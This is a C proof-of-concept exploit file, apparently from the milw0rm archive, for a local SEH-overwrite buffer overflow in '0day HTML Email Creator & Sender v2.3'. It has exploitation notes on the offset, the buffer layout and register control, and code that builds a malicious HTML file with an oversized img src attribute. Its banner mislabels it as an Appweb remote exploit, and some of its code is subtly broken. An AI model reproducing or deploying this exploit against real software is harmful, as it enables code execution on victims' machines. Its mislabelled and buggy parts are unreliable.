158 lines
No EOL
4.8 KiB
C++
158 lines
No EOL
4.8 KiB
C++
/*0day HTML Email Creator & Sender v2.3 Local Buffer Overflow(Seh) Poc
|
|
********************************************************************
|
|
Debugging info
|
|
Seh handler is overwriten , the offset is at 60 bytes in our buffer
|
|
so you have to build your buffer as follows:
|
|
[PONTER TO NEXT SEH]-------[SEH HANDLER]----[NOP]------[SHELLCODE]
|
|
| | | |
|
|
JMP 4 bytes POP POP RET 50*0x90 calc.exe
|
|
*********************************************************************
|
|
Code execution is possible.
|
|
CPU Registers
|
|
EAX 00000000
|
|
ECX 00000208
|
|
EDX 00000000
|
|
EBX 00000029
|
|
ESP 0012E224
|
|
EBP 7C8101B1 kernel32.lstrcpynA
|
|
ESI 90909090 <------------------CONTROLED
|
|
EDI 00001209
|
|
EIP 0042E1C7 HtmlEmai.0042E1C7
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <windows.h>
|
|
#include <string.h>
|
|
#include <getopt.h>
|
|
#include <stdint.h>
|
|
typedef struct Start {
|
|
uint8_t sh;
|
|
uint8_t st;
|
|
uint8_t sm;
|
|
uint8_t sl;
|
|
}HTML;
|
|
|
|
typedef struct Middle {
|
|
uint8_t sh;
|
|
uint8_t se;
|
|
uint8_t sa;
|
|
uint8_t sd;
|
|
}HEAD;
|
|
|
|
typedef struct End {
|
|
uint8_t sb;
|
|
uint8_t so;
|
|
uint8_t sD;
|
|
uint8_t sy;
|
|
}BODY;
|
|
#define BUFFERSIZE 0x1A0A
|
|
#define FILESIZE 29A
|
|
#define SRC "<img src="
|
|
void Fbuild(char *fname)
|
|
{ HTML *ht_ml;
|
|
HEAD *he_ad;
|
|
BODY *bo_dy;
|
|
char *memBuffer;
|
|
//"\x48\x54\x4D\x4C" -html
|
|
ht_ml = (HTML*)malloc(sizeof(HTML));
|
|
he_ad = (HEAD*)malloc(sizeof(HEAD));
|
|
bo_dy = (BODY*)malloc(sizeof(BODY));
|
|
memBuffer = (char*)malloc(BUFFERSIZE);
|
|
if(ht_ml == NULL || he_ad == NULL || bo_dy == NULL || memBuffer == NULL) {
|
|
exit(-1);
|
|
}
|
|
ht_ml->sh = 0x48;
|
|
ht_ml->st = 0x54;
|
|
ht_ml->sm = 0x4D;
|
|
ht_ml->sl = 0x4C;
|
|
//second structure
|
|
//HEAD "\x48\x45\x41\x44"
|
|
he_ad->sh = 0x48;
|
|
he_ad->se = 0x45;
|
|
he_ad->sa = 0x41;
|
|
he_ad->sd = 0x44;
|
|
//thierd structure
|
|
//"\x42\x4F\x44\x59"
|
|
bo_dy->sb = 0x42;
|
|
bo_dy->so = 0x4F;
|
|
bo_dy->sD = 0x44;
|
|
bo_dy->sy = 0x59;
|
|
FILE *f;
|
|
f = fopen(fname, "w");
|
|
if( f == NULL) {
|
|
exit(-1);
|
|
}
|
|
int32_t offset = 0;
|
|
memcpy(memBuffer, "<", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, ht_ml, sizeof(ht_ml));
|
|
offset += sizeof(ht_ml);
|
|
memcpy(memBuffer+offset, ">", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "<", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, he_ad, sizeof(he_ad));
|
|
offset += sizeof(he_ad);
|
|
memcpy(memBuffer+offset, ">", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "<", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "\\", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, he_ad, sizeof(he_ad));
|
|
offset += sizeof(he_ad);
|
|
memcpy(memBuffer+offset, ">", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "<", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, bo_dy, sizeof(bo_dy));
|
|
offset += sizeof(bo_dy);
|
|
memcpy(memBuffer+offset, ">", 1);
|
|
offset += 1;
|
|
uint8_t shit[] ={ 0x3C,0x69,0x6D,0x67,0x20,0x73,0x72,0x63,0x3D };
|
|
memcpy(memBuffer+offset, shit, sizeof(shit));
|
|
offset += sizeof(shit);
|
|
memset(memBuffer+offset, 0x22, 1);
|
|
offset += 1;
|
|
memset(memBuffer+offset, 0x41, 4616);
|
|
offset += 4616;
|
|
memset(memBuffer+offset, 0x22, 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, ">", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "<", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "\\", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, bo_dy, sizeof(bo_dy));
|
|
offset += sizeof(bo_dy);
|
|
memcpy(memBuffer+offset, ">", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "<", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, "\\", 1);
|
|
offset += 1;
|
|
memcpy(memBuffer+offset, ht_ml, sizeof(ht_ml));
|
|
offset += sizeof(ht_ml);
|
|
memcpy(memBuffer+offset, ">", 1);
|
|
offset += 2;
|
|
fwrite(memBuffer, offset , 1, f);
|
|
fwrite("\x00", 1, 1, f);
|
|
printf("File Done!\n");
|
|
}
|
|
int main(int argc, char *argv[])
|
|
{ char *fname = argv[1];
|
|
system("CLS");
|
|
fprintf(stdout , ":: ::\n");
|
|
fprintf(stdout , "Embedthis Appweb Remote Stack Overflow POC\n");
|
|
fprintf(stdout , "All Credits:fl0 fl0w\n");
|
|
fprintf(stdout , ":: ::\n");
|
|
if(argc < 2) {
|
|
printf("Usage is %s filename.html\n", argv[0]);
|
|
exit(-1);
|
|
}
|
|
Fbuild(fname);
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2009-08-18]
|